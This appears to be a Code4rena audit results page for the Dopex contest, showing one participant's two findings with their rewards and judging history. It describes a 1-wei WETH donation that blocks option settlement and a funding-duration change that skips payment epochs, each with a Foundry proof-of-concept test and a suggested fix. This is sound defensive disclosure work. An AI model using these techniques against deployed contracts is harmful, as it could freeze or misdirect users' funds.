Platform: Code4rena
Start Date: 21/08/2023
Pot Size: $125,000 USDC
Total HM: 26
Participants: 189
Period: 16 days
Judge: GalloDaSballo
Total Solo HM: 3
Id: 278
League: ETH
Rank: 138/189
Findings: 2
Award: $15.94
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: klau5
Also found by: 0x3b, 0xCiphky, 0xDING99YA, 0xWaitress, 0xbranded, 0xc0ffEE, 0xklh, 0xsurena, 0xvj, ABA, AkshaySrivastav, Anirruth, Aymen0909, Baki, Blockian, BugzyVonBuggernaut, DanielArmstrong, Evo, GangsOfBrahmin, HChang26, Inspex, Jiamin, Juntao, Kow, Krace, KrisApostolov, LFGSecurity, LokiThe5th, Mike_Bello90, Norah, Nyx, QiuhaoLi, RED-LOTUS-REACH, SBSecurity, Snow24, SpicyMeatball, T1MOH, Tendency, Toshii, Udsen, Yanchuan, __141345__, ak1, asui, auditsea, ayden, bart1e, bin2chen, blutorque, carrotsmuggler, chaduke, chainsnake, circlelooper, clash, codegpt, crunch, degensec, dirk_y, ge6a, gjaldon, grearlake, jasonxiale, juancito, ke1caM, kodyvim, kutugu, ladboy233, lanrebayode77, mahdikarimi, max10afternoon, mert_eren, nirlin, nobody2018, oakcobalt, parsely, peakbolt, pks_, pontifex, ravikiranweb3, rokinot, rvierdiiev, said, savi0ur, sces60107, sh1v, sl1, spidy730, tapir, tnquanghuy0512, ubermensch, visualbits, volodya, wintermute
0.0098 USDC - $0.01
https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/perp-vault/PerpetualAtlanticVaultLP.sol#L201 https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/perp-vault/PerpetualAtlanticVault.sol#L359
It is impossible to settle an option if condition below is not met
value on the left is the WETH balance of the LP. This condition can easily be violated with a small WETH donation to the contract.
Test case for the tests/perp-vault/Unit.t.sol
function testSettle() public { weth.mint(address(1), 1 ether); deposit(1 ether, address(1)); vault.purchase(1 ether, address(this)); uint256[] memory ids = new uint256[](1); ids[0] = 0; priceOracle.updateRdpxPrice(0.2 gwei); // initial price * 10 uint256[] memory strikes = new uint256[](1); strikes[0] = 0.015 gwei; skip(86500); // expire priceOracle.updateRdpxPrice(0.010 gwei); // ITM // Donate 1 wei to the vault LP to DOS the settle function weth.transfer(address(vaultLp), 1); vm.expectRevert(); vault.settle(ids); }
Foundry
Perhaps we can refactor this block
like this, move the condition to the Vault contract
+ uint256 lpBalanceBefore = collateralToken.balanceOf(addresses.perpetualAtlanticVaultLP); // Transfer collateral token from perpetual vault to rdpx rdpxV2Core collateralToken.safeTransferFrom( addresses.perpetualAtlanticVaultLP, addresses.rdpxV2Core, ethAmount ); // Transfer rdpx from rdpx rdpxV2Core to perpetual vault IERC20WithBurn(addresses.rdpx).safeTransferFrom( addresses.rdpxV2Core, addresses.perpetualAtlanticVaultLP, rdpxAmount ); + uint256 lpBalanceAfter = collateralToken.balanceOf(addresses.perpetualAtlanticVaultLP); + require( + lpBalanceAfter == _lpBalanceBefore - ethAmount, + "Not enough collateral was sent out" + ); IPerpetualAtlanticVaultLP(addresses.perpetualAtlanticVaultLP).subtractLoss( ethAmount ); IPerpetualAtlanticVaultLP(addresses.perpetualAtlanticVaultLP) .unlockLiquidity(ethAmount); IPerpetualAtlanticVaultLP(addresses.perpetualAtlanticVaultLP).addRdpx( rdpxAmount ); emit Settle(ethAmount, rdpxAmount, optionIds);
DoS
#0 - c4-pre-sort
2023-09-09T05:54:03Z
bytes032 marked the issue as duplicate of #619
#1 - c4-pre-sort
2023-09-11T16:13:59Z
bytes032 marked the issue as sufficient quality report
#2 - c4-judge
2023-10-20T19:35:06Z
GalloDaSballo marked the issue as satisfactory
🌟 Selected for report: 0xTheC0der
Also found by: 0Kage, 0xDING99YA, 0xHelium, 0xbranded, 836541, ABA, Kow, QiuhaoLi, SpicyMeatball, T1MOH, __141345__, alexfilippov314, ayden, bart1e, bin2chen, chaduke, degensec, jasonxiale, joaovwfreire, nirlin, peakbolt, pep7siup, rvierdiiev, tnquanghuy0512
15.9268 USDC - $15.93
Admin can change the _fundingDuration
value with the updateFundingDuration
function, but when we change it we're not calling the updateFunding
function therefore calculations with the previous _fundingDuration
may be unaccounted.
In this test case in the tests/perp-vault/Unit.t.sol
user purchases an option at the moment when the funding pointer is 0, the funding duration is 1 day, thus after 7 days the content of the fundingRates
mapping may look like this
FR: 289351851851851851851851851851851 0 FR: 0 1 FR: 0 2 FR: 0 3 FR: 0 4 FR: 0 5 FR: 0 6 FR: 0 7
Suppose a user purchased another option when our pointer is 8. After that another 7 days has passed and the admin decides to change the funding duration to half a day
as we can see updateFunding
wasn't called before the funding duration change. What if we update the funding pointer after this? Because we decreased the duration, some epochs will be skipped
in our example these are epochs from 8 to 15 and as a result funding for the eighth epoch won't be transferred.
function testPurchasePremiumNotSent() public { vault.setLpAllowance(true); deposit(100 ether, address(this)); ( ,uint256 id0) = vault.purchase(500 ether, address(this)); vm.warp(1662951316 + 86400*7); uint256 vaultBalanceBefore = weth.balanceOf(address(vault)); console.log("BAL BEFORE1: ", vaultBalanceBefore); vault.purchase(1 ether, address(this)); vaultBalanceBefore = weth.balanceOf(address(vault)); console.log("BAL BEFORE2: ", vaultBalanceBefore); vm.warp(block.timestamp + 86400*7); vault.updateFundingDuration(43200); vault.updateFundingPaymentPointer(); uint256 vaultBalanceAfter = weth.balanceOf(address(vault)); // we can see that there are some unspent funds at the balance which normally should be transferred console.log("BAL AFTER: ", vaultBalanceAfter); }
Foundry
Call updateFunding
before changing _fundingDuration
Timing
#0 - c4-pre-sort
2023-09-08T06:30:25Z
bytes032 marked the issue as duplicate of #980
#1 - c4-pre-sort
2023-09-11T08:22:55Z
bytes032 marked the issue as sufficient quality report
#2 - c4-judge
2023-10-20T11:11:29Z
GalloDaSballo marked the issue as satisfactory